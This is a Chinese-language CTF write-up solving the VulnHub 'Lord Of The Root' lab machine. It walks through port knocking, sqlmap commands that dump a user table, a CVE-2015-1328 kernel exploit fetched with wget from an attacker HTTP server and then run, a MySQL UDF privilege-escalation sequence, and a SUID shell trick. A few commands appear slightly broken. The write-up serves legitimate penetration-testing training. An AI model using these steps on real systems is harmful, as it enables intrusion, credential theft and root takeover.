VulnHub-Lord Of The Root：从端口试探到内核提权的完整实战解析

1. 靶机环境与初始信息收集第一次接触Lord Of The Root靶机时我就被它的指环王主题吸引了。这个中等难度的CTF靶机藏在VulnHub平台上需要我们从零开始逐步攻破。实战中最重要的第一步永远是信息收集——就像甘道夫寻找魔戒的线索一样耐心。我用nmap做基础扫描时遇到了有趣的现象靶机只开放了22端口但连接时却显示knock friend to enter的提示。这里就引出了**端口敲门技术Port Knocking**的经典应用。简单来说这就像《指环王》中的秘密通道需要按特定顺序敲门连接指定端口才会开放真正的入口。通过knock -v 192.168.16.137 1 2 3命令依次触发1、2、3端口后神奇的事情发生了——1337端口突然出现在扫描结果中。2. Web目录挖掘与加密线索分析访问1337端口的Web服务首先看到的是一张中土世界地图。前端老手都知道要立即做三件事右键查看页面源代码检查robots.txt等常见文件尝试目录爆破在这个案例中源代码里藏着Base64编码的字符串。经过两次解码后我们得到了关键路径/978345210/index.php。这里有个实用技巧遇到编码内容时可以先用echo 字符串 | base64 -d快速测试再用CyberChef这类工具深度处理。登陆界面出现后我尝试了经典注入语句如admin or 11--但系统只返回通用错误信息。这种反应暗示可能存在基于时间的盲注——就像通过观察守卫换岗时间来判断城堡防御漏洞。3. SQL盲注实战与凭证获取是时候请出渗透测试的瑞士军刀sqlmap了。这里分享我的完整操作流程# 先检测注入点 sqlmap -o -u http://192.168.16.137:1337/978345210/index.php --forms # 确认存在注入后枚举数据库 sqlmap -o -u http://192.168.16.137:1337/978345210/index.php --forms --dbs # 重点查看Webapp数据库的表结构 sqlmap -o -u http://192.168.16.137:1337/978345210/index.php --forms -D Webapp --tables # 最终提取Users表数据 sqlmap -o -u http://192.168.16.137:1337/978345210/index.php --forms -D Webapp -T Users --dump获取到的五组凭证中smeagol/MyPreciousR00t这对组合成功通过了SSH验证。这里有个细节很多CTF靶机喜欢用文学作品的角色名作为用户名平时积累这类字典会事半功倍。4. 内核漏洞提权CVE-2015-1328拿到初始shell后立即执行uname -a查看内核版本。当看到Linux 3.19.0时我马上联想到OverlayFS漏洞。具体操作流程如下# 本地编译exp searchsploit -m linux/local/39166.c cc -o exp 39166.c # 搭建简易HTTP服务传输文件 python3 -m http.server 5555 # 靶机下载执行 wget http://攻击机IP:5555/exp chmod x exp ./exp这个漏洞的精妙之处在于利用文件系统层级的权限校验缺陷。执行后瞬间拿到root shell的感觉就像佛罗多终于将魔戒投入末日火山。5. MySQL UDF提权备用方案作为技术全面的渗透测试者我习惯准备B方案。通过检查MySQL运行状态发现它是以root权限运行的ps -ef | grep mysql在/var/www/978345210/login.php中找到数据库凭据后关键的提权步骤是-- 检查导出限制 show variables like secure_file_priv; -- 创建UDF函数表 create table temp(data blob); -- 导入so文件 insert into temp values(load_file(/tmp/udf.so)); select data from temp into dumpfile /usr/lib/mysql/plugin/udf.so; -- 创建执行函数 create function sys_eval returns string soname udf.so;最后用find / -name 1.txt -exec /bin/sh \;触发SUID提权。这种方法的优势在于不依赖内核版本但需要MySQL具备写权限。6. 渗透测试的思维训练整个过程中最值得记录的不是具体命令而是决策思路当22端口异常时联想到端口敲门遇到加密字符串坚持多重解码面对盲注不轻言放弃。每次遇到障碍时我都会问自己三个问题当前获取的信息是否足够是否存在被忽略的细节是否有替代方案可以绕过限制这种靶机实战最大的价值就是培养这种渗透测试者的条件反射。就像《指环王》的冒险一样真正的宝藏不是最终找到的flag而是沿途积累的经验与成长。